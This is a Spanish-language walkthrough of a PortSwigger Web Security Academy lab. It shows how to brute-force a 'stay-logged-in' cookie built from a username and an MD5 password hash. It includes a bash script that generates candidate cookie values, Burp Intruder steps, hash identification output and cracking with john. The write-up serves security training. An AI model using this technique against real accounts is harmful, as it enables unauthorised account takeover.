Brute-forcing a stay-logged-in cookie
Laboratorio de Portswigger sobre Authentication Vulnerabilities
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Para resolver el laboratorio, debemos realizar un ataque de fuerza bruta sobre la cookie de Carlos para acceder a Mi account. Podemos usar nuestras credenciales wiener:peter para iniciar sesión, el nombre de usuario de la víctima es carlos y podemos usar el diccionario Candidate passwords https://portswigger.net/web-security/authentication/auth-lab-passwords para bruteforcear la contraseña
Guía de authentication vulnerabilities
Antes de completar este laboratorio es recomendable leerse esta guía de authentication vulnerabilities https://justice-reaper.github.io/posts/Authentication-Vulnerabilities-Guide/
Resolución
Al acceder a la web nos sale esto
Pulsamos sobre My account, nos logueamos usando las credenciales wiener:peter y marcamos la casilla de Stay logged in
En el caso de que introdujésemos dos veces la contraseña incorrecta nos bloquearía y deberíamos esperar 1 minuto para volver a intentar introducir las credenciales
Rellenamos el campo Email, pulsamos en Update email y capturamos la petición con Burpsuite
Si nos fijamos bien el campo stay-logged-in de la cookie está compuesto por el nombre de usuario y la contraseña
Identificamos el tipo de hash con el que se cifra la contraseña, para ello podemos usar webs como https://hashes.com/en/tools/hash_identifier
Otra opción sería usar herramientas como hash-identifier
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# hash-identifier
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
HASH: 51dc30ddc473d43a6011e9ebba6ca770
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
Least Possible Hashs:
[+] RAdmin v2.x
[+] NTLM
[+] MD4
[+] MD2
[+] MD5(HMAC)
[+] MD4(HMAC)
[+] MD2(HMAC)
[+] MD5(HMAC(Wordpress))
[+] Haval-128
[+] Haval-128(HMAC)
[+] RipeMD-128
[+] RipeMD-128(HMAC)
[+] SNEFRU-128
[+] SNEFRU-128(HMAC)
[+] Tiger-128
[+] Tiger-128(HMAC)
[+] md5($pass.$salt)
[+] md5($salt.$pass)
[+] md5($salt.$pass.$salt)
[+] md5($salt.$pass.$username)
[+] md5($salt.md5($pass))
[+] md5($salt.md5($pass))
[+] md5($salt.md5($pass.$salt))
[+] md5($salt.md5($pass.$salt))
[+] md5($salt.md5($salt.$pass))
[+] md5($salt.md5(md5($pass).$salt))
[+] md5($username.0.$pass)
[+] md5($username.LF.$pass)
[+] md5($username.md5($pass).$salt)
[+] md5(md5($pass))
[+] md5(md5($pass).$salt)
[+] md5(md5($pass).md5($salt))
[+] md5(md5($salt).$pass)
[+] md5(md5($salt).md5($pass))
[+] md5(md5($username.$pass).$salt)
[+] md5(md5(md5($pass)))
[+] md5(md5(md5(md5($pass))))
[+] md5(md5(md5(md5(md5($pass)))))
[+] md5(sha1($pass))
[+] md5(sha1(md5($pass)))
[+] md5(sha1(md5(sha1($pass))))
[+] md5(strtoupper(md5($pass)))
--------------------------------------------------
Para confirmar que es MD5 usamos este comando y vemos que ambos hashes coinciden
1
2
# echo -n 'peter' | md5sum | awk '{print $1}'
51dc30ddc473d43a6011e9ebba6ca770
Vemos que podemos eliminar el parámetro session y el servidor nos asigna una cookie de acuerdo al parámetro stay-logged-in
Si intentamos acceder a /my-account?id=carlos con el y el stay-logged-in tiene las credenciales incorrectas nos hará un redirect a /login. Sin embargo, si lo hacemos con las credenciales correctas nos devolverá un 200 OK y no habrá ningún redirect, podemos usar esto para bruteforcear la contraseña del usuario carlos y acceder a su cuenta
Para crear este valor de la cookie vamos a usar el diccionario Candidate passwords https://portswigger.net/web-security/authentication/auth-lab-passwords y este script en bash
1
2
3
4
5
6
7
8
9
#!/bin/bash
while IFS= read -r line
do
username="carlos"
md5_hashed_password=$(echo -n "$line" | md5sum | awk '{print $1}')
base64_hashed_password="$username:$md5_hashed_password"
echo -n "$base64_hashed_password" | base64 >> hashed_passwords.txt
done < "passwords.txt"
Mandamos la petición al Intruder y ahí marcamos el campo de la cookie a bruteforcear
Cargamos el diccionario creado
Otra forma de bruteforcear sería usando las contraseñas de Candidate passwords https://portswigger.net/web-security/authentication/auth-lab-passwords y luego procesar el payload con Burpsuite
Si la contraseña es la correcta nos devuelve el código de estado 200, así que filtramos por código de estado y obtenemos el hash
Obtenemos la contraseña del usuario carlos
1
2
# echo 'Y2FybG9zOjkxY2IzMTVhNjQwNWJmY2MzMGUyYzQ1NzFjY2ZiOGNl' | base64 -d
carlos:91cb315a6405bfcc30e2c4571ccfb8ce
El payload usado para la petición es el número 83, por lo tanto podemos usar awk para obtener esa línea del diccionario de contraseñas
1
2
# awk 'NR==83' passwords.txt
chelsea
Otra forma sería creando un archivo con el hash 91cb315a6405bfcc30e2c4571ccfb8ce en su interior y bruteforcearlo con john
1
2
3
4
5
6
7
8
9
10
# john --format=raw-MD5 --wordlist=passwords.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Proceeding with wordlist:/usr/share/john/password.lst
Press 'q' or Ctrl-C to abort, almost any other key for status
chelsea (?)
1g 0:00:00:00 DONE (2025-01-29 11:40) 100.0g/s 38400p/s 38400c/s 38400C/s 123456..larry
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Iniciamos sesión en la cuenta de carlos














